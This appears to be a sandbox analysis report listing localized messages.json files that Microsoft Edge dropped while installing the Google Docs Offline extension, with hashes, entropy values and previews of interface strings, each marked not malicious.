SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
